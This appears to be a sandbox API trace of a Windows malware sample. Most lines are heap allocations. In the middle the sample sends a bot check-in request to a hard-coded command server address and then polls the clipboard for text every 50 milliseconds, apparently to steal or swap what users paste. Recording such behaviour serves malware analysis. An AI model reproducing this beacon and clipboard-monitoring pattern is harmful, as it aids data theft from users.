[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e60c8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edfe8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e60e8
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee1a0
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e60a8
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee010
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0b18
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4b58
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edd90
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6108
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d13e0
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e61a8
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edef8
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5ee8
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6c1368
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f08
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c1278
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0c50
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4a78
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c1408
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6c2670
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1350
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c28f0
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6c1570
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6c26f0
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6c15c0
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6c2730
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c12a0
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0b30
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4a40
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c15e8
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1e38
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1800
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1e18
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf258
[0213.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1b58
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf140
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1b78
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cef10
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0c68
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f45e0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf168
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1c98
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d17a0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4880
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cefb0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1b98
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d14d0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1dd8
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf0a0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1d98
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ceec0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1db8
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf000
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0ce0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4b90
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf050
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4688
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf118
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1e98
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d17d0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1af8
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cedd0
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1bb8
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf0c8
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1bd8
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cee70
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0d10
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4c70
[0213.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf028
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4ab0
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf0f0
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1bf8
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d16e0
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1cb8
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf078
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1d38
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf1e0
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1eb8
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cef88
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0d28
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4618
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf208
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1c38
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1710
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1e58
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cee98
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1b38
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf2a8
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1d18
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf190
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0d00
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f46c0
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ceee8
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1b18
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d12f0
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1c58
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf1b8
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1df8
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf230
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1d58
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cef60
[0213.684] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0c88
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f46f8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cedf8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1c18
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1530
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1e78
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf280
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1cf8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cee20
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1d78
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cee48
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfbd8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f48b8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cef38
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1c78
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1860
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1cd8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cefd8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1ed8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf3e8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1ff8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf500
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd70
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f48f0
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf2d0
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d20f8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1740
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d1f18
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf410
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d21d8
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf320
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d2238
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf528
[0213.685] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd10
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4730
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf460
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f45a8
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf578
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d21b8
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1620
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d20d8
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf348
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1fd8
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf550
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d2258
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf4b0
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd28
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4c38
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf438
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d2118
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1320
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d2078
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf2f8
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d2018
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf370
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d1f98
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf398
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc08
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4998
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cf3c0
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d21f8
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1470
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d2278
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf488
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d2138
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cf4d8
[0213.686] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d2298
[0213.687] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dd160 | out: hHeap=0x6a0000) returned 1
[0213.687] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0268 | out: hHeap=0x6a0000) returned 1
[0213.687] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0213.687] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0213.688] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/online?guid=XC64ZB\\\\\x0f&key=bc2dceabe69fa26dbf4dd8295d65e03e1990633a88c1c8410825c9266b239396", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0213.688] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0213.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0xd) returned 1
[0213.745] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0x0) returned 1
[0213.747] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0213.747] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0213.747] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0213.747] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ebcd0 | out: hHeap=0x6a0000) returned 1
[0213.747] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cd970 | out: hHeap=0x6a0000) returned 1
[0213.748] OpenClipboard (hWndNewOwner=0x0) returned 1
[0213.750] GetClipboardData (uFormat=0x1) returned 0x0
[0213.753] CloseClipboard () returned 1
[0213.753] Sleep (dwMilliseconds=0x32)
[0213.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xda67448b, dwHighDateTime=0x1d96e12))
[0213.813] OpenClipboard (hWndNewOwner=0x0) returned 1
[0213.813] GetClipboardData (uFormat=0x1) returned 0x0
[0213.814] CloseClipboard () returned 1
[0213.814] Sleep (dwMilliseconds=0x32)
[0213.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xda70cdbf, dwHighDateTime=0x1d96e12))
[0213.876] OpenClipboard (hWndNewOwner=0x0) returned 1
[0213.876] GetClipboardData (uFormat=0x1) returned 0x0
[0213.876] CloseClipboard () returned 1
[0213.876] Sleep (dwMilliseconds=0x32)
[0213.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xda7a56dc, dwHighDateTime=0x1d96e12))
[0213.938] OpenClipboard (hWndNewOwner=0x0) returned 1
[0213.938] GetClipboardData (uFormat=0x1) returned 0x0
[0213.939] CloseClipboard () returned 1
[0213.939] Sleep (dwMilliseconds=0x32)
[0214.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xda83e0ce, dwHighDateTime=0x1d96e12))
[0214.001] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.001] GetClipboardData (uFormat=0x1) returned 0x0
[0214.001] CloseClipboard () returned 1
[0214.001] Sleep (dwMilliseconds=0x32)
[0214.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xda8d69e1, dwHighDateTime=0x1d96e12))
[0214.063] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.063] GetClipboardData (uFormat=0x1) returned 0x0
[0214.063] CloseClipboard () returned 1
[0214.064] Sleep (dwMilliseconds=0x32)
[0214.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xda96f38e, dwHighDateTime=0x1d96e12))
[0214.126] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.126] GetClipboardData (uFormat=0x1) returned 0x0
[0214.126] CloseClipboard () returned 1
[0214.126] Sleep (dwMilliseconds=0x32)
[0214.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdaa07d26, dwHighDateTime=0x1d96e12))
[0214.189] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.189] GetClipboardData (uFormat=0x1) returned 0x0
[0214.189] CloseClipboard () returned 1
[0214.189] Sleep (dwMilliseconds=0x32)
[0214.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdac6a1eb, dwHighDateTime=0x1d96e12))
[0214.448] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.448] GetClipboardData (uFormat=0x1) returned 0x0
[0214.448] CloseClipboard () returned 1
[0214.448] Sleep (dwMilliseconds=0x32)
[0214.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdad02bce, dwHighDateTime=0x1d96e12))
[0214.501] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.501] GetClipboardData (uFormat=0x1) returned 0x0
[0214.501] CloseClipboard () returned 1
[0214.501] Sleep (dwMilliseconds=0x32)
[0214.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdad9b524, dwHighDateTime=0x1d96e12))
[0214.563] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.564] GetClipboardData (uFormat=0x1) returned 0x0
[0214.564] CloseClipboard () returned 1
[0214.564] Sleep (dwMilliseconds=0x32)
[0214.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdae33eb4, dwHighDateTime=0x1d96e12))
[0214.631] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.631] GetClipboardData (uFormat=0x1) returned 0x0
[0214.631] CloseClipboard () returned 1
[0214.632] Sleep (dwMilliseconds=0x32)
[0214.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdaecc84f, dwHighDateTime=0x1d96e12))
[0214.689] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.689] GetClipboardData (uFormat=0x1) returned 0x0
[0214.689] CloseClipboard () returned 1
[0214.689] Sleep (dwMilliseconds=0x32)
[0214.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdaf6a23b, dwHighDateTime=0x1d96e12))
[0214.754] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.754] GetClipboardData (uFormat=0x1) returned 0x0
[0214.754] CloseClipboard () returned 1
[0214.754] Sleep (dwMilliseconds=0x32)
[0214.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdaffdb69, dwHighDateTime=0x1d96e12))
[0214.813] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.814] GetClipboardData (uFormat=0x1) returned 0x0
[0214.814] CloseClipboard () returned 1
[0214.814] Sleep (dwMilliseconds=0x32)
[0214.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb096450, dwHighDateTime=0x1d96e12))
[0214.876] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.876] GetClipboardData (uFormat=0x1) returned 0x0
[0214.876] CloseClipboard () returned 1
[0214.876] Sleep (dwMilliseconds=0x32)
[0214.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb12ede5, dwHighDateTime=0x1d96e12))
[0214.938] OpenClipboard (hWndNewOwner=0x0) returned 1
[0214.939] GetClipboardData (uFormat=0x1) returned 0x0
[0214.939] CloseClipboard () returned 1
[0214.939] Sleep (dwMilliseconds=0x32)
[0215.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb1c7789, dwHighDateTime=0x1d96e12))
[0215.003] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.003] GetClipboardData (uFormat=0x1) returned 0x0
[0215.003] CloseClipboard () returned 1
[0215.003] Sleep (dwMilliseconds=0x32)
[0215.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb248a44, dwHighDateTime=0x1d96e12))
[0215.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.054] GetClipboardData (uFormat=0x1) returned 0x0
[0215.054] CloseClipboard () returned 1
[0215.054] Sleep (dwMilliseconds=0x32)
[0215.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb2d4d36, dwHighDateTime=0x1d96e12))
[0215.111] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.111] GetClipboardData (uFormat=0x1) returned 0x0
[0215.111] CloseClipboard () returned 1
[0215.111] Sleep (dwMilliseconds=0x32)
[0215.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb36d673, dwHighDateTime=0x1d96e12))
